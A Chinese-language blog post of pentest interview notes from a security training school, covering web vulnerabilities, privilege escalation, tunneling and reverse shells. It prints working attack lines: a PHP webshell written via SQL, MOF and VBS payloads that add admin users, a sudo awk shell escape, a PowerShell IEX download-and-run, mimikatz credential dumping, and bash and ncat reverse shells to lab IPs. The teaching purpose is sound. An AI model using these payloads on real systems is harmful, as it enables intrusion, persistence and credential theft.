网络安全面试题分享
- web安全培训
- 2023-06-10
- 412
网络安全面试题分享,感谢选择必火安全学院来学习。一、sql注入:sql注入是一种将sql语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的sql服务器加以解析...
网络安全面试题分享,感谢选择必火安全学院来学习。
一、sql注入:
sql注入是一种将sql语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的sql服务器加以解析并执行
造成sql注入的成因:
1.对用户的输入的数据,没有进行过滤,被带到了数据库中去执行,造成了sql注入2.程序编写者在处理程序与数据库交互时,使用字符串拼接的方式构造了sql语句
sql注入的防御:
1.对进入数据库的特殊字符(单引号,双引号,尖括号等)进行转换或编码转换2.不要使用动态拼接sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接4.应用的异常信息应该给出尽可能少的提示,最少使用自定义的错误信息对原始错误信息进行包装
sql注入分类:
a)按数据类型分1.整形注入 (不需要闭合,不需要注释符号)2.字符型注入(需要闭合,需要注释符号)b)按注入语法分1.联合查询2.报错注入3.布尔型注入4.延时注入5.多语句查询注入
布尔型和延时型注入共同点:
都是一个一个字符的报出来,耗费大量时间,都需要ascii码推算,都没有显示位
联合查询:
可以将两个或两个以上的select语句的查询结果集合合并成一个结果集合显示
限制条件:
union必须由两条或两条以上的select语句组成,语句之间用关键字union分隔union中的每个查询必须包含相同的列
二、xss:
攻击者在网页中插入恶意的js脚本,由于网站没有对其进行过滤,当用户浏览时,就触发了js脚本,造成了xss攻击
xss漏洞的分类:
1.反射型:
payload出现在url或者post请求体中需要服务器的参与服务器会将payload 返回给前端浏览器 浏览器渲染
2.存储型:
payload出现在url或者post请求体中需要数据库的参与需要服务器的参与服务器会将payload返回给前端浏览器 浏览器渲染
3.dom型xss
无需服务器的参与查看源代码无法找到插入的payload
xss防御:
1.基本黑名单的过滤和白名单的过滤,后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容2.使用相关的函数,比如:addslashes 转义 ' " & null 等字符htmlspecialchars(string)对 ' " <> &实体化,函数把一些预定义的字符转换为html实体
& & "" " ' ' < < > >
***三、csrf(cross-site request forgery)跨站请求伪造:
是一种挟持用户在当前已登录的web应用程序上执行非本意的操作的攻击方法
csrf的修复
1.使用token
多了一个token字段,后端每一次会生成一个session对应的值,通过判断token的值是否正确,来判断是否被csrf劫持
2.referer
通过控制referer集,来判断网站的来源是否合法,如果不是同一网站,则认为是csrf攻击
3.验证码
四、文件包含
include(),include_once()
require(),require_once()
include 包含的文件成功
使用require_once 再去包含 直接跳过
include和require的区别:
require执行如果发生错误,函数会输出错误信息,并终止脚本的运行
生成文件包含漏洞的原因:
php.ini中的配置选项
allow_url_fopen和allow_url_include为ON
伪协议的使用:
1.php://filter/read=convert.base64-encode/resource=
会生成一个base64的编码
2.php://input
在post请求体中输入一句话木马,连接中国蚁剑
3.data:text/plain,
4.data:text/plain;base64,
需要将代码先进行base64的编码
+需要url编码
5.zip协议
file=zip://[压缩文件路径+压缩文件名]#[压缩文件内的子文件名]
支持绝对路径和相对路径
# %23
远程文件包含:
读取 http 等类似的协议中的内容 然后将其打印出来
远程文件包含 最好文件后缀别用.php
远程包含的截断特性:
对于远程文件包含 可以使用? 和 #
1.5.39以前的版本可以使用%00截断
2.配合日志文件getshell
开启apache 日志记录
access.log
3.通过设置session 值写入一句话
1.通过phpinfo 读取session.save_pah
2.找到可控的$_SESSION['xxx'] = 'xxx' 往session文件中写入想要的代码
文件: 路径+ sess_+sessionid
绕过open_basedir
设置的open_basedir 的目录为C:/phpstudy_pro/www/include_test 目录
jiuzhe.php所在的目录为www目录
所以无法直接访问
在godzilla.jar 文件目录输入这个命令
C: \Users\Administrator\.jdks\corretto-1.8.0_322\bin\java.exe -jar ./godzilla.jar
1.realpath 函数
set_error_handler('judegPathexist');
缺点:同名只能一个
2.SplFileinfo getpath 函数
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
优点:多个
3.命令执行
4.glob伪协议
五、代码执行漏洞
代码执行 本质上执行 后端语言(php java c# python go)
1.eval php 代码即可
2.assert 是一个函数
assert 必须接收一个有返回值的表达式
echo 语句 默认是没有返回值的
eval 和 assert的区别:
1.eval是语言构造器 assert是函数
2.eval执行任意php代码 assert必须接收有返回值的条件表达式
3.preg_replace
1.版本<= 5.6
2.pattern 对应的参数需要使用/e修饰符
3.替换的pattren 需要满足被替换的subject
4.replacement参数 直接或者间接可控
4.create_function
创建一个匿名函数,第一个参数为函数的形参,第二个参数为函数体
5.array_map
6.array_filter
接收一个数组 使用给予的callback进行处理 返回true则认为满足条件 返回结果 否则被过滤
7.array_reduce
8.array_walk
9.call_user_func
10.call_user_func_array
11.usort
12.uasort
13._GET[2])
六、命令执行漏洞
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞
1.system
自动将内容回显
2.passthru
3.exec
需要手动打印回显内容,默认只打印最后一行
需要打印多行数据的话,需要传递第二个参数
4.shell_exec
默认无回显,需要手动打印
5.重音符号 ``
默认无回显
当使用`进行命令执行时,此时该符号不能被单双引号括住
6.popen
7.proc_open
0 标准输入
1 标准输出
2 标准错误
2>&1 将标准错误流重定向到标准输出流
运用system命令执行来进行代码执行
当使用&&符号时,只有左边条件为真,右边才会执行
当使用&符号时,无论左边条件真假与否,右边均会执行
当使用||符号时,此时左边条件为假或者执行失败,右边会执行
当使用|符号时,当左边执行成功时,执行右边,并且只返回右边的值
七、文件上传漏洞
在上传头像或者是其他文档的时候,我们通过burpsuite抓包修改数据包或者其他手段上传一个脚本文件,这个脚本是带恶意代码的文件,比如一句话木马,如果上传成功就可以使用中国蚁剑工具链接这个脚本,从而达到控制网站的目的。
原因:
没有进行文件格式检查
1.前端js校验
开发者利用前端js对上传文件后缀进行校验,如果说在允许上传的范围内,则上传文件,否则弹窗
解决:上传一个能够通过校验的文件,burpsuite
2.content-type ||MIME 类型校验
开发者在后端对文件type进行校验,看是否允许上传的type类型
解决:burpsuite 抓包修改content-type
3.黑名单校验
对名单内的文件后缀拒绝上传
1.使用大小写绕过
2.windows使用.
3.windows使用space
4.windows使用::$DATA 协议
5.双写绕过
6.%00截断 特定低版本下使用
php 小于5.3.9
magic_quotes_gpc 为off
7..hatccess文件
.htaccess 文件可以控制如何解析特定的文件
服务器会将.php 作为结尾的文件交给php去处理
第一步上传一个.htaccess 文件
第二部上传一个包含haha 的jpg文件
第三步 去访问上传的haha.txt文件即可
8.解析漏洞:
apache 解析漏洞 从右往左进行解析 形如aaa.bbb.ccc.ddd先判断ddd是否可以识别的后缀名,如果不是,尝试解析ccc 依此类推 直到解析完毕
9.二次渲染
利用gif文件 渲染前后不变的特性
10.条件竞争
首先上传需要上传的文件 进行inturder
第二访问上传的文件
iis解析漏洞
打印当前时间
<%=now()%>
asp.net 中默认支持的后缀名有asp asa cer cdx
iis 6.0/6.5
1.在目录名以.asp asa cer cdx 作为结尾的,此时该目录下的文件会优先当做asp来解析
2.当文件名中包含 形如 .asp;.asa;.cer;.cdx; 的字符串,无论最终文件的后缀为何,均优先当作asp文件来解析
iis 7.0/7.5 || nginx
在文件名后加上 /xx.php 该文件优先当作php来解析
nginx
在文件名后加上 /xx.php 该文件优先当作php来解析
低版本 在文件名后加上%00.php 此时当作php来解析
八、ssrf server-side request forgery 服务器端请求伪造
请求是由服务器发起的
作用:能够访问到内网中的资源
1.file_get_contents
读取指定的资源下的内容
当时用一个不存在的协议的时候 file_get_contents会忽略该协议
http://192.168.47.130/ssrf.php?url=httpsssssssssssssssssssssssssss://./../../../../etc/passwd
2.fsockopen
可以与指定端口进行交互
3.curl_init() + curl_exec()
理解为 命令行版的浏览器
通过curl命令 去访问特定浏览器下的特定页面并获取结果
curl_init initialize初始化
初始化curl会话
4.fopen() 少
host绕过
使用 ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php 可以绕过域名解析
端口验证绕过
parse_url+curl
不同的解析顺序
http://127.0.0.1:8989:80/flag.txt
就相当于 http://127.0.0.1:8989/flag.txt
如何绕过ssrf
1.利用重定向,把要进入的网址生成为一个短地址
2.利用解析顺序的不同 @符号绕过限制
3.curl 支持特殊符号的使用 使用句号特殊符号来绕过限制
4.利用302跳转 绕过特定的页面的限制
5.特殊的数字
6.进制编码
7.nip.io 联合数字的ip地址 此时无论前缀如何均按照ipv4 数字地址来进行解析
9.http://[::]:80
10.http://[::1]
11.http://127.1
如何判断请求包是由浏览器发出的还是服务器发出的
通过burpsuite抓包 只能够抓取到发送给www.localhost.com所在服务器的请求包
但是却能够获取到www.baidu.com所在域名的内容
所以证明 服务器端请求www.baidu.com
九、xxe xml eXtensible Markup Language外部实体注入
xml必须拥有一个根节点
xml标签必须要闭合
dtd document type definition 是xml 的语法规范
利用file协议 读取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///C:/phpStudy/1.txt"> ]> <creds>&goodies;</creds>
dtd中 <> & 都是有特殊含义的字符 要是目标文件里包含,可以使用php://fliter伪协议
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/1.txt"> ]> <creds>&goodies;</creds>
xxe无回显的利用
1.应该先监听 使用kali linux 作为监听端 nc -lvp 12345
2.配置dtd文件 控制读取到的file实体的内容该转发到哪个ip下的哪个端口
3.通过访问该路径 可以后去到将file 转发到底ip以及端口
4.向存在xxe漏洞的服务器发送请求包 其中第一条命令使用外部实体读取win.ini文件的内容
第二条命令 外部实体获取xxe.dtd文件 按照里面的内容进行file内容的转发到特定ip下的特定端口
如何判断是否有xxe漏洞
发现提交的请求包数据中 明显有xxe格式的数据
十、sqlmap
-u 注入的链接
-r burpsuite 抓取的请求包存放的路径
--cookie 设置cookie值
--referer 设置referer值
--user-agent 设置user-agent头
--data 将数据库以post形式提交
-v 3 payload
-v 4 request packet
-p 优先注入的参数
--skip 跳过的参数
--level 分为五个等级
默认1
2 cookie
3 user-agent | referer
5 http host
--risk
默认1
2 基于时间的heavy query
3 增加or语句
--dbs 获取数据库名
-D database_name --tables 获得指定库下的表名
-D database_name -T table_name --columns 获取指定库下指定表的字段名
-D -T -C xx,xx --dump 读取特定字段的数据
十一、nmap 主机信息收集
-p 指定想要扫描的端口
当使用-sS扫描:
端口开放: 不完整的三次握手client ====> SYN ====> serverserver ====> SYN+ACK ====> clientclient ====> RST =====> server端口关闭:client====>SYN =====> serverserver ====>ACK+RST===> client端口被过滤:client====>SYN======> serverserver 无应答
当使用-sT扫描:
端口开放: 完整的三次握手client ====> SYN ====> serverserver ====> SYN+ACK ====> clientclient ====> ACK =====> server端口关闭:client====>SYN =====> serverserver ====>ACK+RST===> client端口被过滤:client====>SYN======> serverserver 无应答
端口关闭:
1.client ===>server SYN包
2.server =====> client RST包+ACK包
端口被过滤:
1.client =====>server SYN包
-sV 查看具体服务版本号
linux 操作系统 64
windows 操作系统 128
-A = -O + -sV + --traceroute + --script=xxx
-T 时间模板
-sU
目标不可达 Destination 端口不可达
对于udp 来说,如果有响应包 为开放
如果响应包为unreachable 端口关闭
如果无响应包 则可能为open|filtered 状态
十二、linux提权
前提:当前拥有一个较低权限的shell
1.linux-exploit-suggester 辅助提权工具
1.PwnKit CVE-2021-4034
2.sudo Baron Samedit CVE-2021-3156
2./etc/passwd 文件
第一个 用户名
第二个字段 x 代表密码 当设置为x时 代表密码保存在/etc/shadow
第三个代表uid user identification 用户唯一标识符
第四个 代表gid 组标识符
第五个 别名
第六个 home目录 默认登录进用户界面所在的目录 对应~
最后一项设置为nologin 则该用户 不允许直接登录 最后一项设置为/bin/bash 或者时/bin/sh 才允许登录
当/etc/passwd 第二个字段可以修改时 此时则可以修改root用户的密码
3.密码复用
形如config.php,config.inc等等文件中含有的密码很有可能就是root密码如数据库、后台web密码,可能就是root密码
4.sudo提权
当前用户能够在哪些主机上以哪些用户的身份执行哪些命令
需要验证当前用户的密码
find / -user root -perm -4000 -print 2>/dev/null
awk分片
sudo awk 'BEGIN {system("/bin/sh")}'
5.计划任务提权
利用系统 会周期性的去执行特定的指令来提权
/etc/crontab
每分钟以root权限 调用/usr/bin/python3.8 去执行/tmp目录下的1.py文件
f_write = open('./hello.txt', 'w+')f_write.write("jiuzhe")f_write.close()
6.suid提权
suid 文件属性
find / -user root -perm -4000 -print 2>/dev/null
查看/usr/bin
十三、mysql提权
有一个特定的权限
利用mysql提权 往往要求拥有root用户的权限
1.udf user-defined function 用户自定义函数
利用mysql去加载dll 从而实现特定的功能的拓展
限制条件
1.root用户
2.secure-file-priv != NULL
3.plugin_dir 配置指向的路径必须存在
使用mysql提权脚本 在navicat使用 show variables like '%plugin%' 其中plugin_dir的值就是写入的文件的路径 创建plugin_dir 所对应的目录 提权大码 1. 创建一张blob属类型的表 2. 判断使用x86 还是 x64 进制的shellcode 并将其插入到表中 3. 从表中读取shellcode 以二进制的形式写入到dll文件中 4. 从dll文件中加载对应的函数
2.mof提权
windows 2003以下
利用系统会周期性的执行特定目录下的mof文件
创建一个nullevt.mof的文件
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user todayisagoodday 123456 /add \")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
使用后会在good目录下生成刚刚创建的文件,此时会新增todayisagoodday用户
3.反弹提权
将.dll文件导入到mysql中
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udfnew1.dll';
select backshell('192.168.47.130',12345);
4.phpmyadmin
1.使用general_log 写入一句话
2.slow_query 只会记录消耗大量时间的sql语句
select '<?php eval($_POST[12345]);?>' from dual where 1=1 and sleep(20);
5.vbs脚本
利用mysql写入启动项getshell
Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "net user hacker P@ssw0rd /add", 0WshShell.Run "net localgroup administrators hacker /add", 0
十四、mssql
第一种 连接方式 直接存在于windows 主机中 不需要密码之间连接
mssql 默认管理员用户 sa
mssql 查询 库名.dbo.表名
十五、windows提权
systeminfo 列出操作系统相关的东西
1.windows 更新的补丁
a)端口不对外开放
b)服务 严格权限访问
1)systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 操作系统的版本
2)quser (query user) 列出当前存在的会话 查看当前各个客户端的连接状态
3)netstat -ano | findstr 3389
4)开启3389端口
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
5)通过命令行查看是否有远程连接
tasklist /svc|find “TermService
通过pid查询端口号 netstat –ano | findstr 1980
6)列出特定目录下的文件
For /d %i in (c:\phpstudy*) do @echo %i
1.使用windows exploit-suggester提权脚本
2.at 计划任务提权
1.低版本 2003才能运行
at 时间 /INTERACTIVE "cmd.exe"
弹出的这个cmd.exe文件是一个系统权限
3.通过sc创建服务提权
sc create /? 可以查看sc的命令
sc create jiuzhe binPath= "c:\WINDOWS\system32\cmd.exe /k start" start= auto type= own type= interact
查看服务器services.msc
最后打开sc start jiuzhe
4.pinjector
使用pinjector -l 列出权限
pinjector.exe -p 2440 cmd.exe 12345
如果注入成功 会开启本地12345端口的监听 任何一个连接该端口的 可以向cmd.exe 传递需要执行的命令
使用kali linux进行反连接 提权成功 nc -nv ip 12345
5.PSTool
PsExec.exe /accepteula /s \127.0.0.1 cmd /c "whoami"
6.powershell 实现全程文件不落地,在内存中执行
将执行策略设置为不受限制
只有administrator 以上权限才能够修改策略
使用-ExecutionPolicy 绕过执行策略的限制
7.IEX
IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.158:8787/jiuzhe.txt')
8.mimikatz
抓取密码的前提条件 administrator
privilege::debug
sekuralsa::logonpasswords
十六、MSF Metasploit
十七、代理
正向代理:
客户端无法直接访问特定的某些资源,通过将包发送给一个中间人,由中间人最终将包转发到真正想要发送到的服务器
使用场景:
1.访问到无法直接访问到的资源
2.访问公司内容
3.上网行为流量管理
反向代理:
客户端向特定服务器发包,此时该边界服务器(waf)会将流量包转发给真正的服务器,但对外界来说,此时该边界服务器表现的就像是一个真实的服务器
使用场景:
1.负载均衡
2.边界 安全加固
十八、venom 实现多级内网穿透
首先配置admin
upload 上传文件到指定节点
download 从指定节点下载文件到本地
可以getshell
对流量内容进行加密
-passwd选项使用密码 对通话进行加密处理
十九、proxyfier 实现全局代理
访问mssql的12313端口 此时流量会被自动转发给node2 kali linux节点
此时 在bihuo java虚拟机输入127.0.0.1:80 自动将包转发给mssql 的12313端口 通过该端口 将包转发给kali linux
二十、earthworm
相当于mssql 服务器上开启了一个socks 代理服务器 任何一个访问8888端口的都可以将流量转发到mssql服务器
二十一、stowaway
二十二、frp
frp专注于内网穿透的高性能的反向代理应用,支持tcp,udp,http,https等协议,可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
有一个客户端以及一个服务器端
bihuo java虚拟机 想要访问kali linux的22端口
frps server端 frpc client端
1.通过ssh访问内网机器
2.通过自定义域名访问内网的web服务器
端口复用
将多个web服务映射到server端的同一个端口
3.安全的暴露内网服务
二十三、icmp隧道技术
https://github.com/bdamele/icmpsh
python2 get-pip.py
python2 -m pip install impacket
1.icmpsh 反弹shell
可以使用wireshark查看,都是icmp协议
2.pingtunnel
linux中输入:
./pingtunnel -type server -noprint 1 -nolog 1
windows 2008中输入:
pingtunnel.exe -type client -1 local_ip:4455 -s server_ip -t server_ip:4455
最终发现4455端口开启
kali linux 运行服务器端
windows server 2008 主动去连接 并且将流量转发到4455端口
二十四、ssh代理转发
1.要转发的端口
2.ssh登录的用户名以及密码
a)
ssh -CfNg -L 3388:192.168.47.154:3389 kali@192.168.47.130
通过ssh服务,将2008下的3389端口转发到java 虚拟机的3388端口 通过ssh协议
ssh 在供给端实现端口转发
b)
在被转发的端口的主机上执行
内网被转发端口的主机主动将特定端口的流量转发给ssh 服务所在的主机
攻击主机就可以访问运行ssh服务主机上新开启的端口
ssh -CfNg -R 8887:192.168.47.128:3389 kali@192.168.47.130
会在kali 主机上开启 8887端口
通过该端口可以访问bihuo java的3389端口
二十五、udp隧道
1.upd2raw
2.dnscat2
git clone https://github.com/iagox86/dnscat2.git
kali中 ruby ./dnscat2.rb -s 11111 -c jiuzhe
window中:dnscat2-v0.07-client-win32.exe --dns server=192.168.47.130,port=11111 --secret=jiuzhe
最终kali中session -i 1
getshell
二十六、nps 支持udp,tcp,http,sock5
二十七、linux反弹shell
1.ncat反弹shell
通过使用--ssl 可以进行加密传输数据
bihuo java 虚拟机监听特定的端口 kali linux 直接连接 就可以执行命令
ncat.exe -lvp 12345 --ssl -e cmd.exe
任何一个连接12345端口的用户 发送的消息均会通过cmd.exe来执行
kali linux 监听特定端口 bihuo java 主动将权限交给kali linux
bihuo java 监听特定端口 kali linux 主动交出权限
ncat.exe -lvp 12345 --ssl
nc -nv 192.168.47.128 12345 --ssl -c /bin/bash
kali linux 监听特定端口 任何一个访问该端口的用户均可以下达指定 bihuo java 虚拟机主动去连接对应的端口
nc -lvp 12345 --ssl -c /bin/bash
ncat.exe -nv 192.168.47.130 12345 --ssl
kali linux 传输文件给 bihuo java虚拟机
a) kali linux 监听特定端口 并将从端口接收到的数据 写入到指定文件 bihuo java 主动传输需要传输的文件
nc -lvp 12345 > ./test.txt
ncat.exe -nv 192.168.47.130 12345 < ./jiuzhe.txt
b)bihuo java 虚拟机 主动监听特定端口 任何一个访问该端口的用户都可以取走对应文件的内容 kali linux 主动去访问bihuo java虚拟机 并将取得的内容写入到特定文件
默认传输文件完毕,并未自动断开连接,-i秒数
需要将kali linux /home/kali/Desktop/nps 下的目录的所有内容打包 发送给bihuo java 虚拟机
压缩文件 tar -czvf
解压缩 -xvf
2.bash反弹shell
bash -i >& /dev/tcp/192.168.47.128/12345 0>&1
bash -i 开启一个交互式的shell
/dev/tcp/ip/port 使用socket 套接字去连接指定的ip下的端口0>&1 标准输入重定向到标准输出
0 标准输入1 标准输出2 标准错误
3.exec反弹shell
本文链接:http://www.gougou.tw/post/9.html